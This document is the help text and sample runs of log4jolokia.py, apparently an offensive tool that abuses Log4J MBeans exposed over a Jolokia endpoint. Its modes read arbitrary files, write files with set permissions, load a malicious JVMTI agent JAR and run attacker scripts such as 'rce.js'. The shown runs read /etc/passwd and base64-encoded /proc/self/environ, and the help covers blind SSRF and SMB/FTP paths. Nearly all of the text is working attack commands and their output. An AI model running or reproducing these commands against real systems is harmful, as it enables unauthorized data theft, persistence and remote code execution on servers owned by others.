usage: log4jolokia.py [-h] [-u [USER]] [-p [PASSWD]] [--proxy [PROXY]] [-H [HEADER]] {exec_jar,write_file,read_file,exec_script} [{exec_jar,write_file,read_file,exec_script} ...] target [target ...]

positional arguments:
  {exec_jar,write_file,read_file,exec_script}
                        choose mode: exec_jar | write_file | read_file | exec_script
  target                URL to jolokia (e.g. http://127.0.0.1:8161/console/jolokia)

options:
  -h, --help            show this help message and exit
  -u [USER], --user [USER]
                        Jolokia username
  -p [PASSWD], --passwd [PASSWD]
                        Jolokia password
  --proxy [PROXY]       Optional HTTP(S) Proxy (e.g. burp at http://127.0.0.1:8080)
  -H [HEADER], --header [HEADER]
                        Other required custom HTTP headers (e.g. -H "Origin: http://localhost"
                        	-H "Referrer: http://localhost")

$ python3 log4jolokia.py read_file http://a -h

  ***TRUNCATED***

  -r [READ], --read [READ]
                        Absolute or relative path of a file to read on target (Use only with mode: read_file)

Example commands:
	- Absolute Path:
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r /etc/passwd -u admin -p admin -H 'Origin: http://localhost'
	- Relative Path:
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ./artemis -u admin -p admin -H 'Origin: http://localhost'
	- Specific Protocol:
		-- FTP:
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ftp://test:[email protected]:22/test -u admin -p admin -H 'Origin: http://localhost'
		-- SMB (Windows only):
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r file:////127.0.0.1/C/test -u admin -p admin -H 'Origin: http://localhost'
		-- HTTP SSRF (Usually no output a.k.a. Blind SSRF):
		python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r 'http://127.0.0.1:80/test?test=test' -u admin -p admin -H 'Origin: http://localhost'

$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /etc/passwd
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /etc/passwd
[+] Successfully set ConfigLocationUri to "/etc/passwd" 
[.] Reading file output from ConfigText
[+] Content of "/etc/passwd":

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
***TRUNCATED***

$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /proc/self/environ
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /proc/self/environ
[+] Successfully set ConfigLocationUri to "/proc/self/environ" 
[.] Reading file output from ConfigText
[.] File "/proc/self/environ" contains non-printable characters, displaying base64 encoding
[+] Base64 content of "/proc/self/environ":

TEVTU09QRU49fCAvdXNyL2Jpbi9sZXNzcGlwZSAlcwBNQUlMPS92YXIvbWFpbC9jdGYAVVNFUj1jdGYATENfVElNRUZfRkkuVVRGLTgAU0h***TRUNCATED***

$ python3 log4jolokia.py write_file http://a -h

  ***TRUNCATED***

  -lf [LOCAL_FILE], --local_file [LOCAL_FILE]
                        Path to local file to be written on the target (Use only with mode: write_file)
  -w [WRITE], --write [WRITE]
                        Path of file to be written on the target (Use only with mode: write_file)
  -P [PERM], --perm [PERM]
                        Permissions of the file written on the target. Useful for files like "authorized_keys" that require "rw-------". (Default value is "rwxrwx---") (Use only with mode: write_file)
  --tmp_dir [TMP_DIR]   Location of a writable directory. (Default value is "/tmp")
                        		E.g. Unix == /tmp
                             		Windows == C:/Users/Public

Example command:
	python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -lf 00-ff.txt -w /tmp/test_write -u admin -p admin -H 'Origin: http://localhost'

$ echo test > t.txt
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf t.txt -w /tmp/test --proxy http://127.0.0.1:8080
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from t.txt
[.] Generating Log4J configuration
[+] Generated Log4J XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[.] Checking that the file "/tmp/test" was written successfully on the target
[+] File "/tmp/test" has been successfully written on the target

$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf 00-ff.txt -w /tmp/test2
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from 00-ff.txt
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties" 
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties" 
[.] Checking that the file "/tmp/test2" was written successfully on the target
[+] File "/tmp/test2" has been successfully written on the target

$ python3 log4jolokia.py exec_jar http://a -h

  ***TRUNCATED***

  -j [JAR], --jar [JAR]
                        Path to local jar to be executes on the target (Use only with mode: exec_jar)
  --tmp_dir [TMP_DIR]   Location of a writable directory. (Default value is "/tmp")
                        		E.g. Unix == /tmp
                             		Windows == C:/Users/Public

Example command:
	python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -j mal_linux.jar -u admin -p admin -H 'Origin: http://localhost'

Valid jvmtiAgent JARs can be obtained from https://github.com/mbadanoiu/jvmtiAgentLoad-Exploit

$ python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -j mal_linux.jar
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528

[!!!] WARNING: You are about to write and execute the contents of "mal_linux.jar" on the target system. Make sure that:
	- The JAR contains a valid JVM TI agent
	- Once a JAR is successfully loaded:
		-- No new JAR can be loaded until the Java application is restarted (a.k.a. pick your commands wisely because you only have one shot)
		-- The JAR code will execute everytime the jvmtiAgentLoad() function is successfully called (result == "return code: 0")

If you agree with the above enter "yes" to continue: yes
[.] Reading content from mal_linux.jar
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties" 
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties" 
[.] Checking that the file "/tmp/mal.jar" was written successfully on the target
[+] File "/tmp/mal.jar" has been successfully written on the target
[+] Successfully called jvmtiAgentLoad()

$ python3 log4jolokia.py exec_script http://a -h

  ***TRUNCATED***

  -sf [SCRIPT_FILE], --script_file [SCRIPT_FILE]
                        Path to local file containing the script to be executed on the target (Use only with mode: exec_script)
  -l [LANGUAGE], --language [LANGUAGE]
                        Language of the script to be executed (E.g. javascript, groovy, beanshell, etc.) (Use only with mode: exec_script)

Example command:
	python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'

$ python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=561b61ed

[!!!] WARNING: You are about to execute a javascript script from the "rce.js" file. 
Keep in mind that this script will be triggered multiple times.

If you agree with the above enter "yes" to continue: yes
[.] Reading javascript script from rce.js
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] The script should have been successfully executed